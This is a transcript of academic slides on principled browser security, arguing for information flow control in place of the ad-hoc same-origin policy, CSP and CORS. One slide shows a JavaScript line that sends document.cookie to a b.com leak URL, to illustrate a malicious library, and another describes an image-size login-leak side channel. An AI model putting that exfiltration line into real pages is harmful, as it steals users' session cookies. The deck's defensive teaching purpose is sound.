toward principled browser security - stanford universitydeian/pubs/yang:2013:towards... · 2014....

48
Toward Principled Browser Security Edward Z. Yang, Deian Stefan, John C. Mitchell, David Mazières, Petr Marchenko, and Brad Karp

Upload: others

Post on 24-Sep-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Toward Principled Browser SecurityEdward Z. Yang, Deian Stefan, John C. Mitchell, David Mazières,

Petr Marchenko, and Brad Karp

Page 2: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Web security

Non requirements

Discussions on Hypertext have sometimes tackled the problem of copyright enforcement and data security. These are of secondary importance at CERN, where information exchange is still more important than secrecy.

Tim Berners-Lee, 1989

Page 3: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Tab 1 Tab 2

weather.it bank.ch

Cookies/HTML5 local storage

The Web is the new app platform

Process 1 Process 2

skype

Filesystem

keypassx

Page 4: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Tab 1 Tab 2

weather.it bank.ch

Cookies/HTML5 local storage

The Web is the new app platform

Process 1 Process 2

skype

Filesystem

Page protection

Unix permissions

Access control lists

keypassx

Page 5: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Tab 1 Tab 2

weather.it bank.ch

Cookies/HTML5 local storage

???

The Web is the new app platform

Process 1 Process 2

skype

Filesystem

Page protection

Unix permissions

Access control lists ???

keypassx

Page 6: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Goal: Isolate content from distinct origins➤ E.g., to protect authentication data for a.com

from being read by b.com

Today: Ad-hoc same-origin policy

b.com

b.coma.com

a.com

Page 7: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Practice: There are exceptions to strict isolation➤ E.g., can load images, stylesheets, fonts, scripts

from any origin

b.com

b.coma.com

a.com

Today: Ad-hoc same-origin policy

postMessage

Page 8: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Allows building complex information-sharing apps

➠ Part of the reason the Web is so successful!

Today: Ad-hoc same-origin policy

Page 9: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Problems with SOP

• DOM object properties (inadvertently) leak data➤ E.g., image size can be used to leak user login

b.coma.com

a.com

if loggedIn(user) then else

if (img.width > 40) { ... } else { ... }

40px

Page 10: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Problems with SOP

• No protection against malicious libraries➤ Script from b.com executes with privilege of a.com

b.coma.coma.com

// ... var div = document.getElementById('foo'); div.innerHTML += '<img src=”http://b.com/leak?=' + document.cookie + '" />'; // ...

Page 11: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Problems with SOP

Not strict: Naive app implementations ➠ exploitable!➤ E.g., cross-site scripting (XSS), cross-site request

forgery (CSRF), etc. are prevalent

• Not flexible: Cannot easily import cross-origin data!➤ E.g., cannot build secure third party mashups

Page 12: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

app.com

Bandaids to SOP

• Content Security Policy (CSP)➤ Idea: Restrict resource

loading to white list

• Cross-Origin Resource Sharing (CORS)➤ Idea: Explicitly allow

resources to be readablecross-origin

app.com

jquery.com

evil.biz

amazon.com evil.biz

aws.com/trend.html

Page 13: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

app.com

Bandaids to SOP

• Content Security Policy (CSP)➤ Idea: Restrict resource

loading to white list

• Cross-Origin Resource Sharing (CORS)➤ Idea: Explicitly allow

resources to be readablecross-origin

app.com

jquery.com

evil.biz

amazon.com evil.biz

aws.com/trend.html

Coarse grained, trust based, static ➠ inflexible!

Page 14: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

A more principled approach

Observation: these are information flow policies!➤ E.g., a.com’s data should only flow to a.com

Idea: Use IFC as browser security primitive➤ Allows executing untrusted code on sensitive data

Information flow control

Page 15: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

1. Label objects using origin as security principals➤ E.g., remote hosts, browsing contexts, inter-

frame messages, user-credentials, etc.

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

Strawman IFC policyOrigin non-interference

Page 16: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

Page 17: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

b.coma.com b.com

b.coma.com

b.coma.com

Page 18: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

b.coma.com b.com

b.coma.com

b.coma.com

Page 19: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

Page 20: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

b.com

Page 21: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

b.com

Page 22: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Strawman IFC policyOrigin non-interference

2. Restrict flows to objects with same labels➤ E.g., loading resources from remote hosts:

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

b.com

UNUSABLE!

Page 23: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Must NOT break the existing Web!Must at least encode SOP, CSP, and CORS

Page 24: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Base browser IFC policy2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

Emulate same-origin policy

Page 25: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Base browser IFC policy2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

b.com

Emulate same-origin policy

Page 26: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Base browser IFC policy2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

b.compublic

Emulate same-origin policy

Page 27: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Base browser IFC policy2. Restrict flows to objects with stricter labels

3. Use declassification to allow cross-origin loads

b.coma.coma.com b.com

a.com b.com

b.coma.com

b.coma.com

b.compublic

Emulate same-origin policy

Page 28: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Principled, yet backwards-compatible

• Base policy: origin non-interference (ONI)➤ Content from distinct origins cannot communicate

• Exceptions to ONI must use declassification➤ All cross-origin leaks are explicit!

• Compatible with existing browser policies➤ Browser vendors can encode SOP, CSP, and CORS

Page 29: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

• Enables new apps➤ Third-party mashups, untrusted code execution,

fault isolation, etc.

• Addresses extension confidentiality disaster➤ Extensions see all tabs’ content!➤ In general: not restricted to SOP!

Safer, yet more flexible

Page 30: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Q: Can we allow arbitrary cross-origin requests?➤ Yes! If performing the request does not leak data

Safer, yet more flexible

b.coma.coma.com

a.com

Page 31: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Q: Can we allow arbitrary cross-origin requests?➤ Yes! If performing the request does not leak data

Safer, yet more flexible

b.coma.coma.com

a.com

{ ... }

b.com

Page 32: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Q: Can we allow arbitrary cross-origin requests?➤ Yes! If performing the request does not leak data

Safer, yet more flexible

b.coma.coma.com

a.com b.com

{ ... }

b.com

Page 33: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Q: Can we allow arbitrary cross-origin requests?➤ Yes! If performing the request does not leak data

Safer, yet more flexible

b.coma.coma.com

a.com b.com

{ ... }

b.com

Page 34: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Q: Can we allow arbitrary cross-origin requests?➤ Yes! If performing the request does not leak data

Safer, yet more flexible

b.coma.coma.com

a.com b.com

{ ... }

b.com

Q: How can we avoid over tainting?➤ Request doesn’t taint: only inspection taints

Page 35: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

nofraud.biz

Goal: ensure bank statement and orders remain secret

Page 36: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.comnofraud.biz

Goal: ensure bank statement and orders remain secret

Page 37: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.com

{ statement: ... }

bank.ch

nofraud.biz

Goal: ensure bank statement and orders remain secret

Page 38: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.com

{ statement: ... }

bank.ch

nofraud.biz

Goal: ensure bank statement and orders remain secret

a...

Page 39: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.com

{ statement: ... }

bank.ch

nofraud.biz

Goal: ensure bank statement and orders remain secret

a...

Page 40: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.com

{ statement: ... }

bank.ch

nofraud.biz

Goal: ensure bank statement and orders remain secret

a... b...

Page 41: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.com

{ statement: ... }

bank.ch

nofraud.biz

Goal: ensure bank statement and orders remain secret

a... b...

Page 42: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

IFC

Third party safe mashup

amazon.com

bank.ch

nofraud.biz

nofraud.biz

nofraud.biz

amazon.com

bank.ch

{ orders: ... }

amazon.com

{ statement: ... }

bank.ch

nofraud.biz

a... b...

Goal: ensure bank statement and orders remain secret

a... b...

Page 43: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Goal: allow net access, but ensure photo is not leaked!

Extensible photo editor

extN.app.com

editor.app.com IFC

IFC

extN.app.com

ext1.app.com

ext1.app.com

editor.app.com

#no-net

Page 44: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Summary• IFC: Principled framework for browser security

• Subsumes existing browser security policies➤ Makes cross-origin leaks explicit ➠ forces

developers to “explain” violations of ONI

• Flexible approach to building safer Web apps➤ Allows safe cross-origin communication ➤ Protects sensitive data from untrusted code

Page 45: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide
Page 46: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Who sets the policy?• Browser-vendors specify base policies

➤ Same as SOP, but with stricter options

• Every origin has absolute control over its data➤ Origin a.com can decide to declassify responses

➤ Origin a.com can decide to override base policies and be more strict: no declassification

➤ Origin a.com cannot declassify b.com’s data!

Page 47: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Related work• FlowFox

➤ IFC for JavaScript only➤ Forces ONI on all pages: breaks pages➤ No support for declassification (e.g., no 3rd party mashups)

• BFlow➤ IFC for JavaScript only➤ Requires server-side to specify protection zones➤ Untrusted frame cannot contain tags from different origins (again, no

3rd party mashups)

Page 48: Toward Principled Browser Security - Stanford Universitydeian/pubs/yang:2013:towards... · 2014. 12. 2. · • Every origin has absolute control over its data Origin a.com can decide

Can this be real?• Layout engines are being modified on daily

➤ Gecko, Servo, WebKit, Blink, etc.

• Servo is written in Rust, a high level language➤ Potential platform for enforcing IFC

• Ongoing work on Mozilla’s Gecko➤ Implementing IFC for JS, addressing DOM, chrome

extensions, etc.

• Ongoing work on Google’s Chrome➤ Enforcing confidentiality despite malicious extensions